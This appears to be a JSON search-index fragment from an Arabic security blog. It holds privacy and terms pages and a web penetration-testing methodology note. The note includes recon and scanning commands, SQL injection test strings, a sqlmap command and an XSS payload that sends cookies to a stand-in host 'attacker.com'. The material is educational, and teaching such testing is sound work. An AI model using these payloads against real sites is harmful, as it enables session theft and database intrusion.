مجهول.\nملفات تعريف الارتباط (Cookies) قد نستخدم ملفات تعريف الارتباط لتحسين تجربة القراءة وتخزين تفضيلاتك. يمكنك تعطيلها من إعدادات متصفحك.\nالإعلانات نستخدم Google AdSense لعرض الإعلانات. قد تستخدم Google ملفات تعريف الارتباط لعرض إعلانات مخصصة.\nالتعليقات يستخدم نظام التعليقات Giscus المرتبط بـ GitHub. راجع سياسة خصوصية GitHub.\nتواصل معنا أي استفسار: support@zerostrike.net\n","permalink":"https://cyberah-blog.pages.dev/privacy/","summary":"\u003ch2 id=\"سياسة-الخصوصية\"\u003eسياسة الخصوصية\u003c/h2\u003e\n\u003cp\u003eآخر تحديث: 19 أبريل 2026\u003c/p\u003e\n\u003ch3 id=\"جمع-البيانات\"\u003eجمع البيانات\u003c/h3\u003e\n\u003cp\u003eلا نجمع أي بيانات شخصية تعريفية. نستخدم Google Analytics لتحليل حركة الزوار بشكل مجهول.\u003c/p\u003e\n\u003ch3 id=\"ملفات-تعريف-الارتباط-cookies\"\u003eملفات تعريف الارتباط (Cookies)\u003c/h3\u003e\n\u003cp\u003eقد نستخدم ملفات تعريف الارتباط لتحسين تجربة القراءة وتخزين تفضيلاتك. يمكنك تعطيلها من إعدادات متصفحك.\u003c/p\u003e\n\u003ch3 id=\"الإعلانات\"\u003eالإعلانات\u003c/h3\u003e\n\u003cp\u003eنستخدم Google AdSense لعرض الإعلانات. قد تستخدم Google ملفات تعريف الارتباط لعرض إعلانات مخصصة.\u003c/p\u003e\n\u003ch3 id=\"التعليقات\"\u003eالتعليقات\u003c/h3\u003e\n\u003cp\u003eيستخدم نظام التعليقات Giscus المرتبط بـ GitHub. راجع \u003ca href=\"https://docs.github.com/en/site-policy/privacy-policies/github-privacy-statement\"\u003eسياسة خصوصية GitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"تواصل-معنا\"\u003eتواصل معنا\u003c/h3\u003e\n\u003cp\u003eأي استفسار: \u003ca href=\"mailto:support@zerostrike.net\"\u003esupport@zerostrike.net\u003c/a\u003e\u003c/p\u003e","title":"سياسة الخصوصية"},{"content":"شروط الاستخدام آخر تحديث: 19 أبريل 2026\nالاستخدام الأخلاقي جميع المحتويات التعليمية في هذه المدونة مخصصة للتعلم الأخلاقي فقط. يُحظر استخدام أي معلومات لأغراض غير قانونية أو ضارة.\nالملكية الفكرية جميع المحتويات الأصلية محمية بحقوق الملكية الفكرية. يمكنك مشاركة المحتوى مع الإشارة للمصدر.\nإخلاء المسؤولية المدونة توفر المعلومات \u0026ldquo;كما هي\u0026rdquo; دون ضمانات. لا نتحمل مسؤولية أي استخدام خاطئ للمعلومات.\nتغيير الشروط نحتفظ بحق تعديل هذه الشروط في أي وقت. الاستمرار في استخدام المدونة يعني موافقتك على الشروط المحدثة.\n","permalink":"https://cyberah-blog.pages.dev/terms/","summary":"\u003ch2 id=\"شروط-الاستخدام\"\u003eشروط الاستخدام\u003c/h2\u003e\n\u003cp\u003eآخر تحديث: 19 أبريل 2026\u003c/p\u003e\n\u003ch3 id=\"الاستخدام-الأخلاقي\"\u003eالاستخدام الأخلاقي\u003c/h3\u003e\n\u003cp\u003eجميع المحتويات التعليمية في هذه المدونة مخصصة \u003cstrong\u003eللتعلم الأخلاقي فقط\u003c/strong\u003e. يُحظر استخدام أي معلومات لأغراض غير قانونية أو ضارة.\u003c/p\u003e\n\u003ch3 id=\"الملكية-الفكرية\"\u003eالملكية الفكرية\u003c/h3\u003e\n\u003cp\u003eجميع المحتويات الأصلية محمية بحقوق الملكية الفكرية. يمكنك مشاركة المحتوى مع الإشارة للمصدر.\u003c/p\u003e\n\u003ch3 id=\"إخلاء-المسؤولية\"\u003eإخلاء المسؤولية\u003c/h3\u003e\n\u003cp\u003eالمدونة توفر المعلومات \u0026ldquo;كما هي\u0026rdquo; دون ضمانات. لا نتحمل مسؤولية أي استخدام خاطئ للمعلومات.\u003c/p\u003e\n\u003ch3 id=\"تغيير-الشروط\"\u003eتغيير الشروط\u003c/h3\u003e\n\u003cp\u003eنحتفظ بحق تعديل هذه الشروط في أي وقت. الاستمرار في استخدام المدونة يعني موافقتك على الشروط المحدثة.\u003c/p\u003e","title":"شروط الاستخدام"},{"content":"المرحلة الأولى: الاستطلاع (Reconnaissance) الاستطلاع هو أساس أي اختبار اختراق ناجح. كلما جمعت معلومات أكثر، زادت فرصك في اكتشاف الثغرات.\nPassive Recon — بدون لمس الهدف # جمع معلومات DNS whois target.com dig target.com ANY subfinder -d target.com -o subdomains.txt # البحث في Google Dorks site:target.com filetype:pdf site:target.com inurl:admin site:target.com \u0026#34;index of /\u0026#34; # Shodan للبنية التحتية shodan search hostname:target.com Active Recon — المسح المباشر # فحص المنافذ والخدمات nmap -sV -sC -p- --min-rate 5000 -oN scan.txt target.com # اكتشاف المسارات الخفية ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 # اكتشاف النطاقات الفرعية ffuf -u https://FUZZ.target.com -w subdomains.txt -fc 404 المرحلة الثانية: التعداد (Enumeration) بعد اكتشاف الهدف، ننتقل لفهم التطبيق بعمق.\nتحليل التطبيق تحديد التقنيات المستخدمة (Wappalyzer, WhatWeb) رسم خريطة نقاط الدخول (Login, Upload, API endpoints) تحليل JavaScript files لإيجاد endpoints مخفية فحص HTTP headers للمعلومات الحساسة # تحليل الويب whatweb -a 3 https://target.com nikto -h https://target.com -ssl # استخراج endpoints من JS python3 LinkFinder.py -i https://target.com -d المرحلة الثالثة: اكتشاف الثغرات أهم الثغرات للفحص (OWASP Top 10) الثغرة الأولوية الأدوات SQL Injection 🔴 عالية sqlmap, manual XSS 🟡 متوسطة XSStrike, Dalfox SSRF 🔴 عالية Manual, Burp IDOR 🟡 متوسطة Manual File Upload 🔴 عالية Manual SQL Injection — الاختبار اليدوي -- اختبار بسيط \u0026#39; OR \u0026#39;1\u0026#39;=\u0026#39;1 \u0026#39; OR 1=1-- \u0026#39; UNION SELECT NULL,NULL,NULL-- -- Time-based blind \u0026#39;; WAITFOR DELAY \u0026#39;0:0:5\u0026#39;-- \u0026#39; AND SLEEP(5)-- المرحلة الرابعة: الاستغلال (Exploitation) ⚠️ تحذير: قم بالاستغلال فقط على أنظمة مرخصة لك باختبارها.\n# SQL Injection مع sqlmap sqlmap -u \u0026#34;https://target.com/page?id=1\u0026#34; --dbs --batch --level=5 # XSS Payload \u0026lt;script\u0026gt;fetch(\u0026#39;https://attacker.com/steal?c=\u0026#39;+document.cookie)\u0026lt;/script\u0026gt; المرحلة الخامسة: التقرير (Reporting) التقرير الجيد يجب أن يحتوي على:\nملخص تنفيذي للإدارة (غير تقني) تفاصيل تقنية لكل ثغرة مع CVSS score خطوات الاستغلال (Proof of Concept) التوصيات والحلول المقترحة المراجع والموارد ","permalink":"https://cyberah-blog.pages.dev/notes/methodology-web-pentest/","summary":"\u003ch2 id=\"المرحلة-الأولى-الاستطلاع-reconnaissance\"\u003eالمرحلة الأولى: الاستطلاع (Reconnaissance)\u003c/h2\u003e\n\u003cp\u003eالاستطلاع هو أساس أي اختبار اختراق ناجح. كلما جمعت معلومات أكثر، زادت فرصك في اكتشاف الثغرات.\u003c/p\u003e\n\u003ch3 id=\"passive-recon--بدون-لمس-الهدف\"\u003ePassive Recon — بدون لمس الهدف\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# جمع معلومات DNS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewhois target.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edig target.com ANY\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esubfinder -d target.com -o subdomains.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# البحث في Google Dorks\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esite:target.com filetype:pdf\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esite:target.com inurl:admin\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esite:target.com \u003cspan class=\"s2\"\u003e\u0026#34;index of /\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Shodan للبنية التحتية\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eshodan search hostname:target.com\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"active-recon--المسح-المباشر\"\u003eActive Recon — المسح المباشر\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# فحص المنافذ والخدمات\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -sV -sC -p- --min-rate \u003cspan class=\"m\"\u003e5000\u003c/span\u003e -oN scan.txt target.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# اكتشاف المسارات الخفية\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003effuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc \u003cspan class=\"m\"\u003e404\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# اكتشاف النطاقات الفرعية\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003effuf -u https://FUZZ.target.com -w subdomains.txt -fc \u003cspan class=\"m\"\u003e404\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"المرحلة-الثانية-التعداد-enumeration\"\u003eالمرحلة الثانية: التعداد (Enumeration)\u003c/h2\u003e\n\u003cp\u003eبعد اكتشاف الهدف، ننتقل لفهم التطبيق بعمق.\u003c/p\u003e","title":"منهجية اختبار اختراق الويب — من الصفر للاختراق"}]